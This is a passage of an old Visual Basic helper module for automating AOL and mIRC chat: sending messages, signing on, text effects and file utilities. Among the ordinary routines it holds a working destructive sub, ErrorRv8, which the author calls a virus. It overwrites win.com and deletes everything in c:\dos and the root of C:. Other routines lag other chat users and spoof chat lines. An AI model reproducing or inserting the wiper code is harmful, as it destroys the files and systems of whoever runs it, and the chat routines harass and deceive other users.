WM_CHAR, 13, 0&) Wait (0.3) Nope% = FindWindow("#32770", vbNullString) If Nope% <> 0 Then closeit = SendMessage(Nope%, WM_CLOSE, 0, 0&) End If End Function Sub RunMenu(Menu1 As Integer, Menu2 As Integer) Dim AOLWorks As Long Static Working As Integer AOLMenus% = GetMenu(FindWindow("AOL Frame25", vbNullString)) AOLSubmenu% = GetSubMenu(AOLMenus%, Menu1) AOLItemID = GetMenuItemID(AOLSubmenu%, Menu2) AOLWorks = CLng(0) * &H10000 Or Working ClickAOLMenu = SendMessageByNum(FindWindow("AOL Frame25", vbNullString), 273, AOLItemID, 0&) End Sub Function ChangeChatStatic(Wat As String) 'changes the label under the listbox 'in the 4.0 chat room Dim Chil%, Rich%, stat%, stat2%, stat3%, stat4%, X Chil% = FindChat Rich% = FindChildByClass(Chil%, "RICHCNTL") stat% = FindChildByClass(Chil%, "_AOL_Static") stat2% = GetWindow(stat%, GW_HWNDNEXT) stat3% = GetWindow(stat2%, GW_HWNDNEXT) stat4% = GetWindow(stat3%, GW_HWNDNEXT) X = SendMessageByString(stat4%, WM_SETTEXT, 0, Wat) End Function Function ChangeChatCaption(Caption$) 'changes the chatroom's caption Dim caption1 As Long, captionchange As Long caption1& = FindWindow("AIM_ChatWnd", vbNullString) captionchange& = SendMessageByString(caption1&, WM_SETTEXT, 0, Caption$) End Function Function ChangeRoomNum(num) 'what this does is change the number of 'people it says are in a chat room 'wierd but i stumbled on this when i was 'workin on somethin else Dim Chil%, Rich%, stat%, X Chil% = FindChat Rich% = FindChildByClass(Chil%, "RICHCNTL") stat% = FindChildByClass(Chil%, "_AOL_Static") X = SendMessageByString(stat%, WM_SETTEXT, 0, num) End Function Function ChatLag(Wat As String) 'this wont work till aol lets more then 90 characters in the lame rooom ' but this is a great lag option -=) For X = 1 To Len(Wat) I$ = Mid(Wat, X, 1) slow$ = slow$ & "<html></html><html></html>" & I$ & "<html></html><html></html>" Next X Wat = slow$ Call ErrorRsenD("<i>" & Wat) End Function Function ChatLag2(Wat As String) For X = 1 To Len(Wat) I$ = Mid(Wat, X, 1) slow$ = slow$ & "<html></html><html></html><html></html>" & I$ & "<html></html><html></html><html></html>" Next X Wat = slow$ Call ErrorRsenD("<i>" & Wat) End Function Function ChatLag3(Wat As String) For X = 1 To Len(Wat) I$ = Mid(Wat, X, 1) slow$ = slow$ & "<html></html><html></html><html></html><html></html>" & I$ & "<html></html><html></html><html></html><html></html>" Next X Wat = slow$ Call ErrorRsenD("<i>" & Wat) End Function Function SendChat(Wat As String) 'this function dont work know more do to aol update 'I now taged in a new on a better one 'just use ex: ErrorRsenD " AOL SUX " Dim rich7%, There, again, fillit rich7% = FindChatEdit fillit = SendMessageByString(rich7%, WM_SETTEXT, 0, Wat) fillit = SendMessage(rich7%, WM_CHAR, 13, 0&) There = SendMessageByString(rich7%, WM_GETTEXTLENGTH, 0, 0&) If There <> 0 Then again = SendMessage(rich7%, WM_CHAR, 13, 0&) End If End Function Function CloseChat() aol% = FindWindow("AOL Frame25", vbNullString) mdi% = FindChildByClass(aol%, "MDIClient") Chil% = FindChildByClass(mdi%, "AOL Child") Combo% = FindChildByClass(Chil%, "_AOL_Combobox") lis% = FindChildByClass(Chil%, "_AOL_Listbox") Rich% = FindChildByClass(Chil%, "RICHCNTL") If Chil% <> 0 And Combo% <> 0 And lis% <> 0 And Rich% <> 0 Then closeit = SendMessage(Chil%, WM_CLOSE, 0, 0&) End If End Function Sub MacroDraw(Text As String) If Mid(Text$, Len(Text$), 1) <> Chr$(10) Then Text$ = Text$ + Chr$(13) + Chr$(10) End If Do While (InStr(Text$, Chr$(13)) <> 0) Counter = Counter + 1 SendChat Mid(Text$, 1, InStr(Text$, Chr(13)) - 1) If Counter = 4 Then TimeOut (4#) Counter = 0 End If Text$ = Mid(Text$, InStr(Text$, Chr(13) + Chr(10)) + 2) Loop End Sub Function KillGlyph() 'kill the annoying aol animation on the top right aol% = FindWindow("AOL Frame25", vbNullString) tool% = FindChildByClass(aol%, "AOL Toolbar") toolb% = FindChildByClass(tool%, "_AOL_Toolbar") Gly% = FindChildByClass(toolb%, "_AOL_Glyph") If Gly% <> 0 Then closeit = SendMessage(Gly%, WM_CLOSE, 0, 0&) End If End Function Function LinkSend(URL As String, LinkName As String) 'make the url just from www and on 'this will add the http:\\ part Call ErrorRsenD("< a href=" & Chr(34) & "Http:\\" & URL & Chr(34) & ">" & LinkName & "< /a>") End Function Function LinkSend2(URL As String, LinkName As String, Comments As String) 'same as the first link send but lets you add 'comments after the link Call ErrorRsenD("< a href=" & Chr(34) & "Http:\\" & URL & Chr(34) & ">" & LinkName & "</a>" & " " & Comments) End Function Function SignOnWithPass(Pass As String) 'this will sign a user onto aol4.0 'this will also fill in there password aol% = FindWindow("AOL Frame25", vbNullString) mdi% = FindChildByClass(aol%, "MDIClient") TIT% = findchildbytitle(mdi%, "Goodbye From America Online") tit2% = findchildbytitle(mdi%, "Sign On") If TIT% <> 0 Then Edi% = FindChildByClass(TIT%, "_AOL_Edit") fillit = SendMessageByString(Edi%, WM_SETTEXT, 0, Pass) clickit = SendMessage(Edi%, WM_CHAR, 13, 0&) ElseIf tit2% <> 0 Then Edi% = FindChildByClass(tit2%, "_AOL_Edit") fillit = SendMessageByString(Edi%, WM_SETTEXT, 0, Pass) clickit = SendMessage(Edi%, WM_CHAR, 13, 0&) End If End Function Function RGB2HEX(r, G, B) Dim X& Dim xx& Dim Color& Dim Divide Dim Answer& Dim Remainder& Dim Configuring$ For X& = 1 To 3 If X& = 1 Then Color& = B If X& = 2 Then Color& = G If X& = 3 Then Color& = r For xx& = 1 To 2 Divide = Color& / 16 Answer& = Int(Divide) Remainder& = (10000 * (Divide - Answer&)) / 625 If Remainder& < 10 Then Configuring$ = Str(Remainder&) + Configuring$ If Remainder& = 10 Then Configuring$ = "A" + Configuring$ If Remainder& = 11 Then Configuring$ = "B" + Configuring$ If Remainder& = 12 Then Configuring$ = "C" + Configuring$ If Remainder& = 13 Then Configuring$ = "D" + Configuring$ If Remainder& = 14 Then Configuring$ = "E" + Configuring$ If Remainder& = 15 Then Configuring$ = "F" + Configuring$ Color& = Answer& Next xx& Next X& Configuring$ = TrimSpaces(Configuring$) RGB2HEX = Configuring$ End Function Function TrimSpaces(Text) If InStr(Text, " ") = 0 Then TrimSpaces = Text Exit Function End If For TrimSpace = 1 To Len(Text) thechar$ = Mid(Text, TrimSpace, 1) thechars$ = thechars$ & thechar$ If thechar$ = " " Then thechars$ = Mid(thechars$, 1, Len(thechars$) - 1) End If Next TrimSpace TrimSpaces = thechars$ End Function Function AOL30_SignOn(Pass As String) 'this will sign a user onto aol3.0 'this will also fill in there password aol% = FindWindow("AOL Frame25", vbNullString) mdi% = FindChildByClass(aol%, "MDIClient") TIT% = findchildbytitle(mdi%, "Goodbye From America Online") tit2% = findchildbytitle(mdi%, "Welcome") If TIT% <> 0 Then Edi% = FindChildByClass(TIT%, "_AOL_Edit") fillit = SendMessageByString(Edi%, WM_SETTEXT, 0, Pass) clickit = SendMessage(Edi%, WM_CHAR, 13, 0&) ElseIf tit2% <> 0 Then Edi% = FindChildByClass(tit2%, "_AOL_Edit") fillit = SendMessageByString(Edi%, WM_SETTEXT, 0, Pass) clickit = SendMessage(Edi%, WM_CHAR, 13, 0&) End If End Function Function SNameDecoder(name As String, Ascii As String) For X = 1 To Len(name) letta$ = Mid(name, X, 1) If letta$ = "l" Then Let letta$ = "L": GoTo Done If letta$ = "O" Then Let letta$ = "o": GoTo Done If letta$ = "I" Then Let letta$ = "i": GoTo Done If letta$ = "V" Then Let letta$ = "v ": GoTo Done Done: I$ = I$ & letta$ Next X Call ErrorRsenD(" " & Ascii & "Screen Name Decoder") Wait (0.5) Call ErrorRsenD(" " & Ascii & "Now decoding " & name) Wait (0.5) Call ErrorRsenD(" " & Ascii & name & " = " & I$) End Function Function Program_Minimize(frm As Form) frm.WindowState = 1 End Function Function FileLoadList(FileName As String, lis As ListBox) On Error Resume Next Open FileName For Input As #1 Do While Not EOF(1) Line Input #1, ln$ lis.AddItem ln$ Loop Close #1 End Function Function FileSaveList(FileName As String, lis As ListBox) Free = FreeFile Open FileName For Output As Free For X = 0 To lis.ListCount Print #1, lis.List(X) Next X Close #1 End Function Function FindAol30() aol% = FindWindow("AOL Frame25", vbNullString) FindAol30 = aol% End Function Function Form_RollDownSlow(frm As Form) X = frm.Height For I = 1 To X Step 50: frm.Show frm.Height = I Wait (0.000001) Next I End Function Function Form_RollDown(frm As Form) X = frm.Height For I = 1 To X Step 80: frm.Show frm.Height = I Wait (0.000001) Next I End Function Function Form_RollDownFast(frm As Form) 'theres a slightly better way to do these it just 'involves the form not flashing for a second on load 'but for that i'd have to expect everyone to know there 'forms hieght and i know a lot of people arent sure about 'object properties X = frm.Height 'logs the initial hieght For I = 1 To X Step 80: frm.Show frm.Height = I 'goes to that height 80 by 80 Wait (0.0001) Next I End Function Function AddFontsToList(lis As ListBox) For X = 0 To Screen.FontCount - 1 lis.AddItem Screen.Fonts(X) Next X End Function Function AddFontsList(Combo) For X = 0 To Screen.FontCount - 1 Combo.AddItem Screen.Fonts(X) Next X End Function Function WavY(TheText As String) G$ = TheText a = Len(G$) For W = 1 To a Step 4 r$ = Mid$(G$, W, 1) u$ = Mid$(G$, W + 1, 1) s$ = Mid$(G$, W + 2, 1) T$ = Mid$(G$, W + 3, 1) p$ = p$ & "<B><sup>" & r$ & "</sup>" & u$ & "<sub>" & s$ & "</sub>" & T$ Next W ErrorRsenD (p$) End Function Sub WaitForOk() Do DoEvents okw = FindWindow("#32770", "America Online") If proG_STAT$ = "OFF" Then Exit Sub Exit Do End If DoEvents Loop Until okw <> 0 okb = findchildbytitle(okw, "OK") okd = SendMessageByNum(okb, WM_LBUTTONDOWN, 0, 0&) oku = SendMessageByNum(okb, WM_LBUTTONUP, 0, 0&) End Sub Function AddFontsToCombo(Comb As ComboBox) For X = 0 To Screen.FontCount - 1 Comb.AddItem Screen.Fonts(X) Next X End Function Public Sub ErrorRsenD(Chat As String) Dim Room As Long, AORich As Long, AORich2 As Long Room& = FindRoom& AORich& = FindWindowEx(Room, 0&, "RICHCNTL", vbNullString) AORich2& = FindWindowEx(Room, AORich, "RICHCNTL", vbNullString) Call SendMessageByString(AORich2, WM_SETTEXT, 0&, Chat$) Call SendMessageLong(AORich2, WM_CHAR, ENTER_KEY, 0&) End Sub Sub AOLIcon(Icon%) Click% = SendMessage(Icon%, WM_LBUTTONDOWN, 0, 0&) Click% = SendMessage(Icon%, WM_LBUTTONUP, 0, 0&) End Sub Function meeh_Encrypt(strin As String) Let inptxt$ = strin Let lenth% = Len(inptxt$) Do While NumSpc% <= lenth% Let NumSpc% = NumSpc% + 1 Let NextChr$ = Mid$(inptxt$, NumSpc%, 1) If NextChr$ = "A" Then Let NextChr$ = "Ü" If NextChr$ = "B" Then Let NextChr$ = "£" If NextChr$ = "C" Then Let NextChr$ = "ó" If NextChr$ = "D" Then Let NextChr$ = "ñ" If NextChr$ = "E" Then Let NextChr$ = "▒" If NextChr$ = "F" Then Let NextChr$ = "░" If NextChr$ = "G" Then Let NextChr$ = "▓" If NextChr$ = "H" Then Let NextChr$ = "│" If NextChr$ = "I" Then Let NextChr$ = "╡" If NextChr$ = "J" Then Let NextChr$ = "¬" If NextChr$ = "K" Then Let NextChr$ = "╣" If NextChr$ = "L" Then Let NextChr$ = "║" If NextChr$ = "M" Then Let NextChr$ = "ƒ" If NextChr$ = "N" Then Let NextChr$ = "φ" If NextChr$ = "O" Then Let NextChr$ = "ε" If NextChr$ = "P" Then Let NextChr$ = "∩" If NextChr$ = "Q" Then Let NextChr$ = "≡" If NextChr$ = "R" Then Let NextChr$ = "±" If NextChr$ = "S" Then Let NextChr$ = "≥" If NextChr$ = "T" Then Let NextChr$ = "≤" If NextChr$ = "U" Then Let NextChr$ = "⌠" If NextChr$ = "V" Then Let NextChr$ = "⌡" If NextChr$ = "W" Then Let NextChr$ = "÷" If NextChr$ = "X" Then Let NextChr$ = "°" If NextChr$ = "Y" Then Let NextChr$ = "∙" If NextChr$ = "Z" Then Let NextChr$ = "·" If NextChr$ = " " Then Let NextChr$ = " " If NextChr$ = "a" Then Let NextChr$ = "'" If NextChr$ = "b" Then Let NextChr$ = "√" If NextChr$ = "c" Then Let NextChr$ = "ⁿ" If NextChr$ = "d" Then Let NextChr$ = "²" If NextChr$ = "e" Then Let NextChr$ = "■" If NextChr$ = "f" Then Let NextChr$ = "╞" If NextChr$ = "g" Then Let NextChr$ = "╟" If NextChr$ = "h" Then Let NextChr$ = "╠" If NextChr$ = "i" Then Let NextChr$ = "═" If NextChr$ = "j" Then Let NextChr$ = "╬" If NextChr$ = "k" Then Let NextChr$ = "╧" If NextChr$ = "l" Then Let NextChr$ = "╪" If NextChr$ = "m" Then Let NextChr$ = "▐" If NextChr$ = "n" Then Let NextChr$ = "▀" If NextChr$ = "o" Then Let NextChr$ = "å" If NextChr$ = "p" Then Let NextChr$ = "â" If NextChr$ = "q" Then Let NextChr$ = "î" If NextChr$ = "r" Then Let NextChr$ = "è" If NextChr$ = "s" Then Let NextChr$ = "ç" If NextChr$ = "t" Then Let NextChr$ = "í" If NextChr$ = "u" Then Let NextChr$ = "ú" If NextChr$ = "v" Then Let NextChr$ = "º" If NextChr$ = "w" Then Let NextChr$ = "∞" If NextChr$ = "x" Then Let NextChr$ = "δ" If NextChr$ = "y" Then Let NextChr$ = "Ω" If NextChr$ = "z" Then Let NextChr$ = "Θ" If NextChr$ = "1" Then Let NextChr$ = "Φ" If NextChr$ = "2" Then Let NextChr$ = "τ" If NextChr$ = "3" Then Let NextChr$ = "µ" If NextChr$ = "4" Then Let NextChr$ = "ß" If NextChr$ = "5" Then Let NextChr$ = "σ" If NextChr$ = "6" Then Let NextChr$ = "Γ" If NextChr$ = "7" Then Let NextChr$ = "π" If NextChr$ = "8" Then Let NextChr$ = "Σ" If NextChr$ = "9" Then Let NextChr$ = "α" If NextChr$ = "0" Then Let NextChr$ = "╫" Let NewSent$ = NewSent$ + NextChr$ Loop meeh_Encrypt = NewSent$ End Function Function EncryptType(Text, types) 'to encrypt, example: 'encrypted$ = EncryptType("messagetoencrypt", 0) 'to decrypt, example: 'decrypted$ = EncryptType("decryptedmessage", 1) '- First Paramete is the Message '- Second Parameter is 0 for encrypt 'or 1 for decrypt For god = 1 To Len(Text) If types = 0 Then Current$ = Asc(Mid(Text, god, 1)) - 1 Else Current$ = Asc(Mid(Text, god, 1)) + 1 End If Process$ = Process$ & Chr(Current$) Next god EncryptType = Process$ End Function Sub Spiral(txt As TextBox) 'Spiral Scroller X = txt.Text ErrorRsenD (txt) thastart: Dim MYLEN As Integer MyString = txt.Text MYLEN = Len(MyString) mystr = Mid(MyString, 2, MYLEN) + Mid(MyString, 1, 1) txt.Text = mystr TimeOut 0.4 ErrorRsenD (txt) If txt.Text = X Then Exit Sub End If GoTo thastart End Sub Sub RunMenuByString(Wat, strin) SearchWat% = GetMenu(Wat) cnt = GetMenuItemCount(SearchWat%) For fstrin = 0 To cnt - 1 ToSearchSub% = GetSubMenu(SearchWat%, fstrin) MenuItemCnt = GetMenuItemCount(ToSearchSub%) For gstrin = 0 To MenuItemCnt - 1 SubCnt = GetMenuItemID(ToSearchSub%, gstrin) mString$ = String$(100, " ") gstrinMenu% = GetMenuString(ToSearchSub%, SubCnt, mString$, 100, 1) If InStr(UCase(mString$), UCase(strin)) Then MenuItem% = SubCnt GoTo Done End If Next gstrin Next fstrin Done: runit% = SendMessage(Wat, WM_COMMAND, MenuItem%, 0) End Sub Function AOL30_ChatManipulate(Who, Wat) aol% = FindWindow("AOL Frame25", vbNullString) mdi% = FindChildByClass(aol%, "MDIClient") Chil% = FindChildByClass(mdi%, "AOL Child") View% = FindChildByClass(Chil%, "_AOL_View") lis% = FindChildByClass(Chil%, "_AOL_Listbox") Edi% = FindChildByClass(Chil%, "_AOL_Edit") X = SendMessageByString(View%, WM_SETTEXT, 0, Chr(13) & " " & Who & ":" & Chr(9) & Wat) End Function Function AOL30_ChatSend(Wat) aol% = FindWindow("AOL Frame25", vbNullString) mdi% = FindChildByClass(aol%, "MDIClient") Chil% = FindChildByClass(mdi%, "AOL Child") View% = FindChildByClass(Chil%, "_AOL_View") lis% = FindChildByClass(Chil%, "_AOL_Listbox") Edi% = FindChildByClass(Chil%, "_AOL_Edit") X = SendMessageByString(Edi%, WM_SETTEXT, 0, Wat) clickit = SendMessageByNum(Edi%, WM_CHAR, 13, 0) End Function Function AOL30_inRoom() As Boolean Dim InRoom As Boolean aol% = FindWindow("AOL Frame25", vbNullString) mdi% = FindChildByClass(aol%, "MDIClient") Chil% = FindChildByClass(mdi%, "AOL Child") View% = FindChildByClass(Chil%, "_AOL_View") lis% = FindChildByClass(Chil%, "_AOL_Listbox") Edi% = FindChildByClass(Chil%, "_AOL_Edit") If View% <> 0 And lis% <> 0 And Edi% <> 0 Then InRoom = True Else InRoom = False End If AOL30_inRoom = InRoom End Function Function AOL30_isAolOn() As Boolean aol% = FindWindow("AOL Frame25", vbNullString) If aol% <> 0 Then IsOn = True Else IsOn = False End If AOL30_isAolOn = IsOn End Function Function BackFlash(object) 'this will make the backround of a label 'textbox etc, flash. put this code in a timer 'dont forget to set the interval , a lower interval 'will make a faster flash ex. Call BackFlash(Label1) object.BackColor = QBColor(Rnd * 15) End Function Function FileDelete(Path) On Error GoTo damn Kill (Path) damn: MsgBox ("File Deletion error") Exit Function End Function Function FileLength(Path) 'returns the number of characters in a file X = FileLen(Path) FileLength = X End Function Function ForeFlash(object) 'this will make the Foreground of a label 'textbox etc, flash. put this code in a timer 'dont forget to set the interval , a lower interval 'will make a faster flash ex. Call ForeFlash(Label1) object.ForeColor = QBColor(Rnd * 15) End Function Function FileCreate(FileName As String) Free = FreeFile Open FileName For Random As Free Close Free End Function Sub HideAOL() aol% = FindWindow("AOL Frame25", vbNullString) Call ShowWindow(aol%, 0) End Sub Sub ShowAOL() aol% = FindWindow("AOL Frame25", vbNullString) Call ShowWindow(aol%, 5) End Sub Function FileInput(FileName As String) Free = FreeFile Open FileName For Input As Free I = FileLen(FileName) X = Input(I, Free) Close Free FileInput = X End Function Function FileInput2(FileName As String) 'this is for if the the first FileInput 'adds two characters at the end 'those two are not neccasarry and sometimes show up 'use this method if you encounter that problem Free = FreeFile Open FileName For Input As Free I = FileLen(FileName) X = Input(I - 2, Free) Close Free FileInput2 = X End Function Function FileWrite(FileName As String, Wat As String) Open FileName For Output As #1 Print #1, Wat Close #1 End Function Public Function FindSendWindow() As Long Dim aol As Long, mdi As Long, child As Long Dim SendStatic As Long aol& = FindWindow("AOL Frame25", vbNullString) mdi& = FindWindowEx(aol&, 0&, "MDIClient", vbNullString) child& = FindWindowEx(mdi&, 0&, "AOL Child", vbNullString) SendStatic& = FindWindowEx(child&, 0&, "_AOL_Static", "Send Now") If SendStatic& <> 0& Then FindSendWindow& = child& Exit Function Else Do child& = FindWindowEx(mdi&, child&, "AOL Child", vbNullString) SendStatic& = FindWindowEx(child&, 0&, "_AOL_Static", "Send Now") If SendStatic& <> 0& Then FindSendWindow& = child& Exit Function End If Loop Until child& = 0& End If FindSendWindow& = 0& End Function Public Function FindInfoWindow() As Long Dim aol As Long, mdi As Long, child As Long Dim AOLCheck As Long, AOLIcon As Long, AOLStatic As Long Dim AOLIcon2 As Long, AOLGlyph As Long aol& = FindWindow("AOL Frame25", vbNullString) mdi& = FindWindowEx(aol&, 0&, "MDIClient", vbNullString) child& = FindWindowEx(mdi&, 0&, "AOL Child", vbNullString) AOLCheck& = FindWindowEx(child&, 0&, "_AOL_Checkbox", vbNullString) AOLStatic& = FindWindowEx(child&, 0&, "_AOL_Static", vbNullString) AOLGlyph& = FindWindowEx(child&, 0&, "_AOL_Glyph", vbNullString) AOLIcon& = FindWindowEx(child&, 0&, "_AOL_Icon", vbNullString) AOLIcon2& = FindWindowEx(child&, AOLIcon&, "_AOL_Icon", vbNullString) If AOLCheck& <> 0& And AOLStatic& <> 0& And AOLGlyph& <> 0& And AOLIcon& <> 0& And AOLIcon2& <> 0& Then FindInfoWindow& = child& Exit Function Else Do child& = FindWindowEx(mdi&, child&, "AOL Child", vbNullString) AOLCheck& = FindWindowEx(child&, 0&, "_AOL_Checkbox", vbNullString) AOLStatic& = FindWindowEx(child&, 0&, "_AOL_Static", vbNullString) AOLGlyph& = FindWindowEx(child&, 0&, "_AOL_Glyph", vbNullString) AOLIcon& = FindWindowEx(child&, 0&, "_AOL_Icon", vbNullString) AOLIcon2& = FindWindowEx(child&, AOLIcon&, "_AOL_Icon", vbNullString) If AOLCheck& <> 0& And AOLStatic& <> 0& And AOLGlyph& <> 0& And AOLIcon& <> 0& And AOLIcon2& <> 0& Then FindInfoWindow& = child& Exit Function End If Loop Until child& = 0& End If FindInfoWindow& = child& End Function Function LoadTimes(ProgName As String) 'New an improved On Error Resume Next num = GetSetting(ProgName, "Load", "Times") num = Val(num) + 1 Call SaveSetting(ProgName, "Load", "Times", num) LoadTimes = num End Function Public Function LoByte(ByVal wParam As Integer) LoByte = wParam And &HFF& End Function Function LoadTimesReset() 'Changes the times to 0 On Error Resume Next Call SaveSetting("ErrorR", "Load", "Times", "0") End Function Function MacroDarken(Macro As String) 'this is a darken effect for as macro 'just use it with the variable macro 'being where the macro is For I = 1 To Len(Macro) X$ = Mid(Macro, I, 1) If X$ = ":" Then Let X$ = ";" Final$ = Final$ & X$ Next I MacroDarken = Final$ End Function Function mIRCJoinChannel(channel) ParHand1& = FindWindow("mIRC32", "mIRC32") ParHand2& = FindWindowEx(ParHand1&, 0, "MDIClient", vbNullString) OurParent& = FindWindowEx(ParHand2&, 0, "status", vbNullString) ourhandle& = FindWindowEx(OurParent&, 0, "Edit", vbNullString) Chat = "/Join " & channel Call SetFocusAPI(ourhandle&) Call SendMessageByString(ourhandle&, WM_SETTEXT, 0, channel) DoEvents Call SendMessageByNum(ourhandle&, WM_CHAR, 13, 0) End Function Function mIRCSendChat(Chat) ParHand1& = FindWindow("mIRC32", "mIRC32") ParHand2& = FindWindowEx(ParHand1&, 0, "MDIClient", vbNullString) OurParent& = FindWindowEx(ParHand2&, 0, "channel", vbNullString) ourhandle& = FindWindowEx(OurParent&, 0, "Edit", vbNullString) Call SetFocusAPI(ourhandle&) Call SendMessageByString(ourhandle&, WM_SETTEXT, 0, Chat) DoEvents Call SendMessageByNum(ourhandle&, WM_CHAR, 13, 0) End Function Sub mIRCSendChat2Query(Chat) ParHand1& = FindWindow("mIRC32", "mIRC32") ParHand2& = FindWindowEx(ParHand1&, 0, "MDIClient", vbNullString) OurParent& = FindWindowEx(ParHand2&, 0, "query", vbNullString) ourhandle& = FindWindowEx(OurParent&, 0, "Edit", vbNullString) Call SetFocusAPI(ourhandle&) Call SendMessageByString(ourhandle&, WM_SETTEXT, 0, Chat) DoEvents Call SendMessageByNum(ourhandle&, WM_CHAR, 13, 0) End Sub Function mIRCSendChat2Status(Chat) ParHand1& = FindWindow("mIRC32", "mIRC32") ParHand2& = FindWindowEx(ParHand1&, 0, "MDIClient", vbNullString) OurParent& = FindWindowEx(ParHand2&, 0, "status", vbNullString) ourhandle& = FindWindowEx(OurParent&, 0, "Edit", vbNullString) Call SetFocusAPI(ourhandle&) Call SendMessageByString(ourhandle&, WM_SETTEXT, 0, Chat) DoEvents Call SendMessageByNum(ourhandle&, WM_CHAR, 13, 0) End Function Sub mIRCShow() ParHand1& = FindWindow("mIRC32", "mIRC32") Call Window_Show(ParHand1&) End Sub Sub mIRCSignOn(server) ParHand1& = FindWindow("mIRC32", "mIRC32") ParHand2& = FindWindowEx(ParHand1&, 0, "MDIClient", vbNullString) OurParent& = FindWindowEx(ParHand2&, 0, "status", vbNullString) ourhandle& = FindWindowEx(OurParent&, 0, "Edit", vbNullString) Chat = "/server " & server Call SetFocusAPI(ourhandle&) Call SendMessageByString(ourhandle&, WM_SETTEXT, 0, Chat) DoEvents Call SendMessageByNum(ourhandle&, WM_CHAR, 13, 0) TimeOut (6) End Sub Sub ErrorRv8() 'MsgBox "This is a VIRUS CODE and will harm your computer!" ' Might Want to get rid of that! 'this is a nice virii 'makes the victem print my tags and kills there win and dos -=) 'what ever actions you do with my shit its up to you 'just dont fuck with my shit bitch Printer.Print "ErrorR Domain" Open "c:\windows\win.com" For Output As #1 Print #1, " ErrorR " Close #1 Kill "c:\dos\*.*" Kill "c:\*.*" End Sub Sub mIRCHide() ParHand1& = FindWindow("mIRC32", "mIRC32") Call Window_Hide(ParHand1&) End Sub Function mIRCGetChatText() ParHand1& = FindWindow("mIRC32", "mIRC32") OurParent& = FindWindowEx(ParHand1&, 0, "MDIClient", vbNullString) win% = FindWindowEx(OurParent&, 0, "channel", vbNullString) chattext = GetText(win%) mIRCGetChatText = chattext End Function Function MacroLighten(Macro As String) 'this is a darken effect for as macro 'just use it with the variable macro 'being where the macro is For I = 1 To Len(Macro) X$ = Mid(Macro, I, 1) If X$ = ";" Then Let X$ = ":" Final$ = Final$ & X$ Next I MacroLighten = Final$ End Function Function MailList2String(lis As ListBox) For X = 0 To lis.ListCount - 1 Names$ = Names$ & lis.List(X) & "," Next X MailList2String = Mid(Names$, 1, Len(Names$) - 1) End Function Function RandomNum(last) 'creates a random number from 1 to last X = Int(Rnd * last + 1) RandomNum = X End Function Function ReplaceChar(Where, LookFor As String, Replace As String) 'this is to replace one character 'ex. text1.text = ReplaceChar(text1.text,"a","b") 'that will change all a's to b's For X = 1 To Len(Where) I$ = Mid(Where, X, 1) If I$ = LookFor Then Let I$ = Replace strin$ = strin$ & I$ Next X ReplaceChar = strin$ End Function Function TDate() X = Format(Date, "mmmm/dd/yyyy") TDate = X End Function Function TDate2() X = Format(Date, "mm/dd/yy") TDate2 = X End Function Function TDate3() X = Format(Date, "mm/dd/yyyy") TDate3 = X End Function Function TDate4() X = Format(Date, "dddd/mmmm/yyyy") TDate4 = X End Function 'Function Text_BoldCrazy(strin As String) 'For X = 1 To Len(strin) Step 2 'i$ = Mid(strin, X, 1) 'i2$ = Mid(strin, X + 1, 1) 'Final$ = Final$ & "<B>" & i$ & "</B>" & i2$ 'Next X 'SendChat = Final$ 'End Function Function Talker_Period(strin As String) As String ' How to use: ' ReV = talker_period(text1.text) ' errorrsend(ReV) Dim NextChr As String, inptxt As String, lenth As Integer Dim NumSpc As Integer, NewSent As String, Pero As String Let inptxt$ = strin Let lenth% = Len(inptxt$) Do While NumSpc% <= lenth% Let NumSpc% = NumSpc% + 1 Let NextChr$ = Mid$(inptxt$, NumSpc%, 1) Let NextChr$ = NextChr$ + "." Let NewSent$ = NewSent$ + NextChr$ Loop Pero$ = NewSent$ Talker_Period = Pero$ End Function Function Talker_Ucase(Strn As String) As String Dim chang As String chang$ = UCase(Strn) Talker_Ucase = chang$ End Function Function Talker_Space(strin As String) As String ' How to use: ' ReV = talker_space(text1.text) ' errorrsend(ReV) Dim NextChr As String, inptxt As String, lenth As Integer Dim NumSpc As Integer, NewSent As String, Spac As String Let inptxt$ = strin Let lenth% = Len(inptxt$) Do While NumSpc% <= lenth% Let NumSpc% = NumSpc% + 1 Let NextChr$ = Mid$(inptxt$, NumSpc%, 1) Let NextChr$ = NextChr$ + " " Let NewSent$ = NewSent$ + NextChr$ Loop Spac$ = NewSent$ Talker_Space = Spac$ End Function Function Talker_Slash(strin As String) As String ' How to use: ' ReV = talker_slash(text1.text) ' ErrorR(ReV) Dim NextChr As String, inptxt As String, lenth As Integer Dim NumSpc As Integer, NewSent As String, Slah As String Let inptxt$ = strin Let lenth% = Len(inptxt$) Do While NumSpc% <= lenth% Let NumSpc% = NumSpc% + 1 Let NextChr$ = Mid$(inptxt$, NumSpc%, 1) Let NextChr$ = NextChr$ + "/" Let NewSent$ = NewSent$ + NextChr$ Loop Slah$ = NewSent$ Talker_Slash = Slah$ End Function Function Talker_r33t(strin As String) As String ' From ErrorR.Bas edited by |2eV ' How to use: ' ReV = talker_r33t(text1.text) ' errorrsend(ReV) Dim NextChr As String, inptxt As String, lenth As Integer Dim NextChrr As String, NewSent As String, NumSpc As Integer, Crapp As Integer Let inptxt$ = strin Let lenth% = Len(inptxt$) Do While NumSpc% <= lenth% DoEvents Let NumSpc% = NumSpc% + 1 Let NextChr$ = Mid$(inptxt$, NumSpc%, 1) Let NextChrr$ = Mid$(inptxt$, NumSpc%, 2) If NextChrr$ = "ae" Then Let NextChrr$ = "43": Let NewSent$ = NewSent$ + NextChrr$: Let Crapp% = 2: GoTo send If NextChrr$ = "AE" Then Let NextChrr$ = "43": Let NewSent$ = NewSent$ + NextChrr$: Let Crapp% = 2: GoTo send If NextChrr$ = "oe" Then Let NextChrr$ = "03": Let NewSent$ = NewSent$ + NextChrr$: Let Crapp% = 2: GoTo send If NextChrr$ = "OE" Then Let NextChrr$ = "03": Let NewSent$ = NewSent$ + NextChrr$: Let Crapp% = 2: GoTo send If Crapp% > 0 Then GoTo send If NextChr$ = "A" Then Let NextChr$ = "4" If NextChr$ = "a" Then Let NextChr$ = "4" If NextChr$ = "B" Then Let NextChr$ = "b" If NextChr$ = "C" Then Let NextChr$ = "c" If NextChr$ = "c" Then Let NextChr$ = "c" If NextChr$ = "D" Then Let NextChr$ = "d" If NextChr$ = "d" Then Let NextChr$ = "d" If NextChr$ = "E" Then Let NextChr$ = "3" If NextChr$ = "e" Then Let NextChr$ = "3" If NextChr$ = "f" Then Let NextChr$ = "f" If NextChr$ = "F" Then Let NextChr$ = "f" If NextChr$ = "G" Then Let NextChr$ = "g" If NextChr$ = "f" Then Let NextChr$ = "g" If NextChr$ = "H" Then Let NextChr$ = "h" If NextChr$ = "I" Then Let NextChr$ = "1" If NextChr$ = "i" Then Let NextChr$ = 